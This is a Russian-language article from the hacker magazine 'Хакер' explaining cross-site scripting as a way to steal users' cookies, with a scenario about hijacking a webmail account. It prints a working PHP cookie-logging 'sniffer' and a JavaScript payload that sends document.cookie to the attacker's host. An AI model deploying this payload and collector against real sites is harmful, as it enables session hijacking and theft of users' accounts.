SS возвращается Zadoxlik (antichat.ru) Хакер, номер #092, стр. 092-062-2 А в чем, собственно, прелесть? А прелесть в том, что средствами JavaScript или VBScript мы можем получить куки пользователя для данного домена, на сайте которого находится документ. В JavaScript куки хранятся в document.cookie. Все что нам надо, так это сформировать запрос пользователя к нашему сниферу, в котором бы мы отправили свои куки. Снифер в терминологии XSS - это наш скрипт, который ловит все добро, которое передается ему в GET-запросе. Вот простейший пример снифера на PHP, его ты уже знаешь наизусть, но мы отважимся привести его еще раз, так сказать, для отчетности: КОД <? if(strlen($QUERY_STRING)<2)exit; header("Content-Type: image/png"); $im=ImageCreate(1, 1); ImagePNG($im); imagedestroy($im); $fp=fopen("sniff.txt", "a"); fputs($fp,$QUERY_STRING."\n\n"); fclose($fp); ?> А вот простенький пример того, как можно отправить куки на этот снифер. Предполагается, что на странице есть картинка. Если нет - нужно будет объявить: КОД <script language=JavaScript> document.images[0].src="http://sniff/sniff?"+document.cookie </script> Теперь перейдем к плохим делам. XSS бывают разные XSS можно разделить на подклассы. Я бы выделил следующую структуру: 1)Активные. Активные XXS'ски - самые опасные из возможных XSS. Например, решил Василий Пупкин проверить свою почту на мэйл.ру через веб-интерфейс, и, вроде бы, все хорошо у него прошло. Увидел он письмо от своей любимой девушки, а в это время наш снифер принимает пароль негодующего Василия. И тогда, облачившись во все черное, под покровом ночи, начинаешь ты писать всякие непристойные вещи... впрочем, не будем об этом. Короче говоря, активные XSS - это XSS там, где ты их меньше всего ожидаешь, точнее в твоем пользовательском интерфейсе. Там, куда ты заходил каждый раз, ничего не опасаясь, чтобы почитать посты на форуме или почту на своем e-mail, а тут... какая подлость - чужой код. И ничего с ним не поделаешь. Нет, конечно, можно отключить выполнение скриптов на странице в своем браузере, но кто, кроме нас, с тобой так делает? Явно не Василий Васильевич. |